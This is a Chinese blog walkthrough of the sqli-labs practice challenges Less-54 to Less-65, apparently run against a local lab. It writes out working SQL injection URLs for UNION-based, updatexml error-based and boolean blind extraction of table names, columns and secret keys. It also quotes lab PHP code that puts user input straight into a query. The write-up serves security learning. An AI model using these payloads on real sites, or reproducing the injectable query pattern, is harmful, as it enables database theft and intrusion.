Chanllenges

这个系列主要是一个进阶的学习,将前面学到的只是进行更深层次的运用,这一关我们主要考察的依旧是字符型注入,但是只能尝试十次。所以需要我们在注入的时候对注入的结果进行仔细分析,尽可能在更少的注入次数中得到我们想要的数据,这里的表名和密码等是每十次尝试就强制进行更换。

Less-54

首先我们判断出是带引号注入

判断出表名

判断出列名,使用group_concat一次性将所有列名爆出:

最后一个不知出了什么问题,最后经过测试还是得到了数据:

http://192.168.252.166/sqli-labs/Less-54/index.php
?id=-1' union select 1,group_concat(secret_2BD6),3 from qghaiq6jry--+

Less-55

这一个我们经过测试判断出是数值型加单括号的格式,知道了之后我们就开始注入:

http://192.168.252.166/sqli-labs/Less-55/
?id=-1) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3%23


得到数据表:

http://192.168.252.166/sqli-labs/Less-55/
?id=-1) union select 1,(select group_concat(column_name) from information_schema.columns where table_name='x17i1bjber'),3%23


拿到key:

http://192.168.252.166/sqli-labs/Less-55/
?id=-1) union select 1,(select group_concat(secret_8TKW) from x17i1bjber),3%23

Less-56

首先我们判断出了是字符型加单括号注入,然后继续测试

http://192.168.252.167/sqli-labs/Less-56/
?id=-1%27)%20union%20select%201,(select group_concat(table_name) from information_schema.tables where table_schema = database()),3%23


最终我们拿到key

http://192.168.252.167/sqli-labs/Less-56/
?id=-1%27)%20union%20select%201,(select group_concat(secret_TTJN) from 75ngghtftr),3%23

Less-57

我们首先测试出是双引号格式

最终拿到key

http://192.168.252.167/sqli-labs/Less-57/
?id=-1" union select 1,(select group_concat(secret_GFYZ) from lc618fhoox),3%23

Less-58

经过我们的测试,发现是字符型注入,但是我们使用联合注入一直无法显示数据,后来我们发现有报错,所以我们就使用了报错注入,先拿到表名:

http://192.168.252.167/sqli-labs/Less-58/
?id=-1'%20And%20UpDatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1)%23


字段:

http://192.168.252.167/sqli-labs/Less-58/
?id=-1'%20And%20UpDatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name= 'lhew2mtfei'),0x7e),1)%23


拿到key:

http://192.168.252.167/sqli-labs/Less-58/
?id=-1'%20And%20UpDatexml(1,concat(0x7e,(select group_concat(secret_KUW0) from lhew2mtfei),0x7e),1)%23


我们最后分析一下源码:

{
    // resetting the challenge and repopulating the table .
    if(isset($_POST['reset']))
    {
        setcookie('challenge', ' ', time() - 3600000);
        echo "<font size=4>You have reset the Challenge</font><br>\n";
        echo "Redirecting you to main challenge page..........\n";
        header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
        //echo "cookie expired";
    }
    else
    {
        // Checking the cookie on the page and populate the table with random value.
        if(isset($_COOKIE['challenge']))
        {
            $sessid=$_COOKIE['challenge'];
            //echo "Cookie value: ".$sessid;
        }
        else
        {
            $expire = time()+60*60*24*30;
            $hash = data($table,$col);
            setcookie("challenge", $hash, $expire);
        }
        if(isset($_GET['id']))
        {
            $id=$_GET['id'];
            next_tryy();
            //Display attempts on screen.
            $tryyy = view_attempts();
            echo "You have made : ". $tryyy ." of $times attempts";
            if($tryyy >= ($times+1))
            {
                setcookie('challenge', ' ', time() - 3600000);
                echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
                echo "Redirecting you to challenge page..........\n";
                header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );
                echo "<br>\n";
            }    
            $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
            $result=mysql_query($sql);
            $row = mysql_fetch_array($result);
            if($row)
            {
                echo '<font color= "#00FFFF">';    
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
                $pass = array_reverse($unames);
                echo 'Your Login name : '. $unames[$row['id']];
                echo 'Your Password : ' .$pass[$row['id']];
            }
            else 
            {
                print_r(mysql_error());
            }
        }
        else
        {
            echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";
        }
    }

我们通过查看源码可以知道,最终返回的结果不是根据数据内容返回的,是返回php中指定数组中的内容,所以我们使用联合注入无法返回数据,但是其有报错,所以我们可以使用报错注入。

Less-59

首先我们判断出了是数值型,接着继续进行注入:
表名:

字段名:

key:

Less-60

首先我们判断出了格式是双引号加括号
数据表:

字段名:

key:

Less-61

通过报错我们看到单双引号加两个括号
数据表:

列名:

key:

Less-62

这个我们首先测试出格式是单引号加括号')'
后续的操作由于没有报错也没有数据回显,所以我们只能使用盲注,这里我们可以使用布尔注入:
判断表名的长度:

http://192.168.252.167/sqli-labs/Less-62/
?id=1') and if(length((select table_name from information_schema.tables
 where table_schema=database() limit 0,1))=10,1,0);--+

表名第一个字符

http://192.168.252.167/sqli-labs/Less-62/
?id=1') and if(ascii(substr((select table_name from information_schema.tables
 where table_schema=database() limit 0,1),1,1))>110,1,0)--+

不过如果我们想要拿到所有的数据必须得在注入的时候减少次数,我们尽量使用二分法来测试目标字符,减少测试次数。

Less-63

这一关我们首先判断格式是单引号注入,而且没有错误提示和数据回显,所以这一关还是只能使用盲注,这里我们还可以使用布尔注入。

http://192.168.252.168/sqli-labs/Less-63/index.php
?id=1' and if(length((select table_name from information_schema.tables
 where table_schema=database() limit 0,1))=10,1,0)%23

Less-64

这一关我们测试出是数值型加两个括号?id=1)),同样的只能使用盲注:

http://192.168.252.168/sqli-labs/Less-64/index.php
?id=1)) and if(length((select table_name from information_schema.tables
 where table_schema=database() limit 0,1))=10,1,0)%23

Less-65

这一关我们测试出是双引号加括号")

http://192.168.252.168/sqli-labs/Less-65/
?id=1") and if(length((select table_name from information_schema.tables
 where table_schema=database() limit 0,1))=10,1,0)%23
最后修改:2020 年 08 月 26 日
如果觉得我的文章对你有用,请随意赞赏